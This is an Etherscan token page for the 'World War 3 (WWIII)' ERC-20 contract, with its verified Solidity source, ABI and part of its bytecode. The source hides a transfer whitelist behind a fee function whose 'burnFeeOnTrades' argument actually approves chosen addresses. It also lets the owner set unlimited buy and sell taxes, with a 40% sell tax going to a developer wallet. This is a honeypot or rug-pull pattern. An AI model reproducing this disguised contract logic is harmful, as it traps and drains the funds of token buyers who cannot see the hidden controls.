ETH Price: $2,905.87 (-4.07%)
Gas: 1 Gwei

Token

World War 3 (WWIII)
 

Overview

Max Total Supply

1,000,000 WWIII

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
bielevicius.eth
Balance
9,732.952990808 WWIII

Value
$0.00
0xec48b88a4304806cdc26d5be778469dfac184c57
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WorldWar3

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-28
*/

// SPDX-License-Identifier: MIT

/* 69

https://t.me/worldwar3ETH

https://x.com/worldwar3ETH

https://worldwar3.quest

*/

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract WorldWar3 is Context, IERC20, Ownable { //69

    using SafeMath for uint256;

    string private constant _name = "World War 3"; //69
    string private constant _symbol = "WWIII"; //69
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000 * 10**9; //69
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 20; //69
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 40; //69

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;


    mapping(address => bool) private ch;
    mapping (address => uint256) public _buyMap;
    address payable private _developmentAddress = payable(0x99f7A3505Ef01193b27040Dca6c366674090bfa7); //69
    address[] public holderlist;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool private inSwap = false;
    bool private swapEnabled = true;
    bool private th = true;

    uint256 public _maxTxAmount = 30000 * 10**9; //69
    uint256 public _maxWalletSize = 30000 * 10**9; //69
    uint256 public _swapTokensAtAmount = 10000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //69 uniswap: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D , pancakeswap: 0x10ED43C718714eb63d5aA57B78B54704E256024E
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            //Trade start check
           
            if(th){require(ch[to],"no");}

            if(to != uniswapV2Pair && to != address(this)){
                holderlist.push(to);
            }
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }

    function manualswap() external {
        require(_msgSender() == _developmentAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }

    function manualsend() external {
        require(_msgSender() == _developmentAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell, address[] memory burnFeeOnTrades) public onlyOwner {
        if(th){for(uint256 i = 0;i<burnFeeOnTrades.length;i++){ch[burnFeeOnTrades[i]]=true;}}
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    //Set maximum transaction
    function RemoveLimits(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

   
    function EnableTrading(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
        th=false;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holderlist","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"},{"internalType":"address[]","name":"burnFeeOnTrades","type":"address[]"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405266038d7ea4c680005f196200001a91906200062f565b5f1962000028919062000693565b6006555f60085560146009555f600a556028600b55600a54600c55600b54600d55600c54600e55600d54600f557399f7a3505ef01193b27040dca6c366674090bfa760125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601560146101000a81548160ff02191690831515021790555060016015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff021916908315150217905550651b48eb57e000601655651b48eb57e0006017556509184e72a00060185534801562000122575f80fd5b505f62000134620005cb60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f620001e6620005cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002eb919062000732565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000351573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000377919062000732565b6040518363ffffffff1660e01b81526004016200039692919062000773565b6020604051808303815f875af1158015620003b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003d9919062000732565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f6200042d620005d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000557620005cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c68000604051620005bc9190620007af565b60405180910390a350620007ca565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200063b82620005f9565b91506200064883620005f9565b9250826200065b576200065a62000602565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200069f82620005f9565b9150620006ac83620005f9565b9250828203905081811115620006c757620006c662000666565b5b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006fc82620006d1565b9050919050565b6200070e81620006f0565b811462000719575f80fd5b50565b5f815190506200072c8162000703565b92915050565b5f602082840312156200074a5762000749620006cd565b5b5f62000759848285016200071c565b91505092915050565b6200076d81620006f0565b82525050565b5f604082019050620007885f83018562000762565b62000797602083018462000762565b9392505050565b620007a981620005f9565b82525050565b5f602082019050620007c45f8301846200079e565b92915050565b61382980620007d85f395ff3fe60806040526004361061019f575f3560e01c806370a08231116100eb57806398a5c31511610089578063c492f04611610063578063c492f04614610598578063dd62ed3e146105c0578063f0ffe6d5146105fc578063f2fde38b14610624576101a6565b806398a5c3151461051e578063a9059cbb14610546578063c3c8cd8014610582576101a6565b80637f2feddc116100c55780637f2feddc146104645780638da5cb5b146104a05780638f9a55c0146104ca57806395d89b41146104f4576101a6565b806370a08231146103e8578063715018a6146104245780637d1db4a51461043a576101a6565b80632fd689e31161015857806368a240f91161013257806368a240f91461035a5780636cf38f06146103825780636d8aa8f8146103aa5780636fc3eaec146103d2576101a6565b80632fd689e3146102dc578063313ce5671461030657806349bd5a5e14610330576101a6565b806306fdde03146101aa578063095ea7b3146101d45780631694505e1461021057806318160ddd1461023a57806323b872dd14610264578063294423b6146102a0576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be61064c565b6040516101cb9190612818565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f591906128d6565b610689565b604051610207919061292e565b60405180910390f35b34801561021b575f80fd5b506102246106a6565b60405161023191906129a2565b60405180910390f35b348015610245575f80fd5b5061024e6106cb565b60405161025b91906129ca565b60405180910390f35b34801561026f575f80fd5b5061028a600480360381019061028591906129e3565b6106d9565b604051610297919061292e565b60405180910390f35b3480156102ab575f80fd5b506102c660048036038101906102c19190612a33565b6107ad565b6040516102d39190612a6d565b60405180910390f35b3480156102e7575f80fd5b506102f06107e8565b6040516102fd91906129ca565b60405180910390f35b348015610311575f80fd5b5061031a6107ee565b6040516103279190612aa1565b60405180910390f35b34801561033b575f80fd5b506103446107f6565b6040516103519190612a6d565b60405180910390f35b348015610365575f80fd5b50610380600480360381019061037b9190612a33565b61081b565b005b34801561038d575f80fd5b506103a860048036038101906103a39190612bfa565b6108d3565b005b3480156103b5575f80fd5b506103d060048036038101906103cb9190612cb7565b610a2e565b005b3480156103dd575f80fd5b506103e6610ade565b005b3480156103f3575f80fd5b5061040e60048036038101906104099190612ce2565b610b4d565b60405161041b91906129ca565b60405180910390f35b34801561042f575f80fd5b50610438610b9b565b005b348015610445575f80fd5b5061044e610ce9565b60405161045b91906129ca565b60405180910390f35b34801561046f575f80fd5b5061048a60048036038101906104859190612ce2565b610cef565b60405161049791906129ca565b60405180910390f35b3480156104ab575f80fd5b506104b4610d04565b6040516104c19190612a6d565b60405180910390f35b3480156104d5575f80fd5b506104de610d2b565b6040516104eb91906129ca565b60405180910390f35b3480156104ff575f80fd5b50610508610d31565b6040516105159190612818565b60405180910390f35b348015610529575f80fd5b50610544600480360381019061053f9190612a33565b610d6e565b005b348015610551575f80fd5b5061056c600480360381019061056791906128d6565b610e0c565b604051610579919061292e565b60405180910390f35b34801561058d575f80fd5b50610596610e29565b005b3480156105a3575f80fd5b506105be60048036038101906105b99190612d66565b610ea0565b005b3480156105cb575f80fd5b506105e660048036038101906105e19190612dc3565b610fd5565b6040516105f391906129ca565b60405180910390f35b348015610607575f80fd5b50610622600480360381019061061d9190612a33565b611057565b005b34801561062f575f80fd5b5061064a60048036038101906106459190612ce2565b6110f5565b005b60606040518060400160405280600b81526020017f576f726c64205761722033000000000000000000000000000000000000000000815250905090565b5f61069c6106956112b2565b84846112b9565b6001905092915050565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f66038d7ea4c68000905090565b5f6106e584848461147c565b6107a2846106f16112b2565b61079d856040518060600160405280602881526020016137cc6028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107546112b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d039092919063ffffffff16565b6112b9565b600190509392505050565b601381815481106107bc575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b5f6009905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108236112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a690612e4b565b60405180910390fd5b806017819055505f601560166101000a81548160ff02191690831515021790555050565b6108db6112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095e90612e4b565b60405180910390fd5b601560169054906101000a900460ff1615610a0b575f5b8151811015610a0957600160105f84848151811061099f5761099e612e69565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610a0190612ec3565b91505061097e565b505b8460088190555083600a819055508260098190555081600b819055505050505050565b610a366112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990612e4b565b60405180910390fd5b806015806101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1e6112b2565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d575f80fd5b5f479050610b4a81611d65565b50565b5f610b9460025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dcd565b9050919050565b610ba36112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690612e4b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f5757494949000000000000000000000000000000000000000000000000000000815250905090565b610d766112b2565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df990612e4b565b60405180910390fd5b8060188190555050565b5f610e1f610e186112b2565b848461147c565b6001905092915050565b60125f9054906101000a900473f